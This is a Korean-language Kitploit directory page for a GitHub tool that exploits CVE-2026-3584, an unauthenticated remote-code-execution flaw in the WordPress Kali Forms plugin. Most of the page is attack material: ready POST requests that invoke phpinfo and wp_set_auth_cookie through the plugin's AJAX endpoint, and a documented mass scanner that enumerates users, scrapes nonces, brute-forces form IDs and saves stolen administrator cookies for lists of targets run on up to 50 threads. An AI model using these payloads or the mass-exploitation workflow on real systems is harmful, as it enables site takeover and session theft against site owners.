Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
도구/GitHubGitHub/yucaerin/cve-2026-3584
Privilege EscalationReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingPayload Development
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

저장소 보기
3126개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - form_process를 통한 인증되지 않은 원격 코드 실행

🔥 취약점 요약

WordPress 플러그인 Kali Forms 버전 <= 2.4.9에는 치명적인 인증되지 않은 원격 코드 실행(RCE) 취약점이 존재합니다. 이 결함으로 인해 인증되지 않은 공격자는 인가 검사 없이 공개적으로 노출된 AJAX 엔드포인트 kaliforms_form_process를 통해 서버에서 임의의 PHP 코드를 실행하고 완전한 관리자 권한을 획득할 수 있습니다.

이 취약점은 사용자 제어 파라미터(thisPermalink 및 entryCounter 포함)를 받아들이고 임의의 PHP 콜백을 실행하는 form_process 함수에서 발생하며, 다음과 같은 결과를 초래합니다:

  • phpinfo(), system(), eval() 등을 통한 원격 코드 실행(RCE)
  • 관리자 세션을 얻기 위한 wp_set_auth_cookie()를 통한 권한 상승

🔍 취약한 플러그인

  • 플러그인 이름: Kali Forms – WordPress Form Builder
  • 취약한 버전: <= 2.4.9
  • 취약점 유형: 인증되지 않은 원격 코드 실행 + 권한 상승
  • CVE ID: CVE-2026-3584
  • CVSS 점수: 10.0 (치명적)
  • 영향: 사이트 완전 장악, 관리자 접근, 지속성
  • 링크: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 취약점 작동 방식

버그 기술 분석

취약점은 Kali Forms 플러그인의 AJAX 요청을 처리하는 form_process 함수에서 발생합니다. 취약한 코드는 다음을 통해 노출됩니다:

// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

익스플로잇 흐름:

  1. 보호되지 않은 엔드포인트: /wp-admin/admin-ajax.php?action=kaliforms_form_process 엔드포인트는 wp_ajax_nopriv_ 훅을 통해 인증되지 않은 사용자도 접근할 수 있습니다.

  2. 사용자 제어 파라미터:

    • data[thisPermalink] - 임의의 PHP 함수 이름을 포함할 수 있음
    • data[entryCounter] - 임의의 PHP 함수 이름을 포함할 수 있음
    • data[formId] - 처리할 폼의 ID
  3. 필터링되지 않은 콜백 실행: 취약한 코드는 검증 없이 PHP 콜백을 실행합니다:

    $callback = $_POST['data']['thisPermalink'];
    call_user_func($callback);  // Nessun controllo!
    
  4. 익스플로잇 체인:

    Attacker → POST Request → kaliforms_form_process
         ↓
    thisPermalink=phpinfo → call_user_func('phpinfo')
         ↓
    PHP Code Execution → phpinfo() eseguito
         ↓
    entryCounter=wp_set_auth_cookie → Cookie amministratore generato
         ↓
    Full Admin Access
    

취약한 요청 예시:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

결과: 서버가 phpinfo()를 실행하고 PHP 구성에 대한 전체 정보를 반환합니다.

권한 상승 요청:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

결과: WordPress는 wp_set_auth_cookie(user_id)를 실행하며, 여기서 user_id는 종종 formId와 일치하여 유효한 관리자 세션 쿠키를 생성합니다.


🛠️ Mass Scanner - 작동 방식

스캐너 아키텍처

mass_scanner.py는 CVE-2026-3584 취약점의 완전한 악용을 위한 4단계 자동화 파이프라인을 구현합니다:

┌─────────────────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                        │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Fase 1: Ricognizione API REST                                 │
│  ├─ Enumera utenti: /wp-json/wp/v2/users                       │
│  └─ Enumera post: /wp-json/wp/v2/posts                         │
│      → Identifica user_id e post_id per escalation             │
│                                                                             │
│  Fase 2: Scoperta Moduli                                       │
│  ├─ Crawl sito (depth=2)                                       │
│  ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms'              │
│  ├─ Estrae nonce da JavaScript                                 │
│  └─ Estrae formId da HTML                                      │
│      → Trova tutti i moduli Kali Forms vulnerabili             │
│                                                                             │
│  Fase 3: Test RCE                                              │
│  ├─ Invia: data[thisPermalink]=phpinfo                         │
│  ├─ Verifica: 'PHP Version' in response                        │
│  └─ Salva: result/target_phpinfo.html                          │
│      → Conferma esecuzione codice remoto                       │
│                                                                             │
│  Fase 4: Escalation Privilegi                                  │
│  ├─ Invia: data[entryCounter]=wp_set_auth_cookie              │
│  ├─ Estrae: wordpress_logged_in + wordpress_sec cookies        │
│  ├─ Verifica: Accesso a /wp-admin/ senza redirect             │
│  └─ Salva: result_cookie/target.txt                            │
│      → Ottiene accesso amministratore completo                 │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

구현 기술 세부사항

1. 자동 URL 정규화

def normalize_url(self, target):
    # Aggiunge automaticamente http:// o https://
    # Prova prima HTTPS, poi fallback su HTTP
    # Gestisce porte personalizzate (es. :8080)

2. REST API 열거

def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # Estrae tutti gli user_id disponibili
    # Usato per mappare formId → user_id
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # Estrae tutti i post_id disponibili
    # Identifica sovrapposizioni user_id/post_id

3. 폼 검색(스마트 크롤링)

def discover_pages(self, target, max_depth=2):
    # Crawl ricorsivo del sito
    # Cerca pattern JavaScript: 'KaliFormsObject'
    # Filtra URL non necessari (js, css, immagini)
    # Segue solo link interni
    # Ritorna lista pagine con Kali Forms

4. 폼 데이터 추출

def extract_form_data(self, page_url):
    # Estrae nonce da JavaScript:
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # Estrae formId da HTML:
    #   data-id="1" o [kaliform id="1"]
    # Se nonce trovato ma no formId:
    #   Brute force ID 1-10

5. RCE 테스트

def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # Payload: data[thisPermalink]=phpinfo
    # Verifica: len(response) > 10000 e 'PHP Version' presente
    # Salva HTML completo per analisi

6. 권한 상승 테스트

def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
    # Strategia intelligente:
    # 1. Cerca sovrapposizioni user_id/post_id
    # 2. Testa prima ID con alta probabilità successo
    # 3. Fallback su ID comuni: 1,2,3,4,5
    
    # Per ogni formId candidato:
    # POST data[entryCounter]=wp_set_auth_cookie
    # Estrae cookie: wordpress_logged_in + wordpress_sec
    # Verifica: GET /wp-admin/ → no redirect
    # Controlla: 'dashboard' in response

7. 멀티 스레딩

# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync

8. 자동 백업 시스템

def backup_previous_results(self):
    # Prima di ogni scan:
    # result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
    # result/ → result.20260325_120000.backup/
    # result_cookie/ → result_cookie.20260325_120000.backup/
    # Preserva tutti i dati storici

🚀 Mass Scanner 사용법

요구 사항

pip3 install requests beautifulsoup4

대상 파일 준비

targets.txt 파일을 한 줄에 대상 하나씩 생성합니다(http/https는 선택 사항):

example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080

기본 실행

# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt

# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt

# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt

스캔 중 출력

도구 다운로드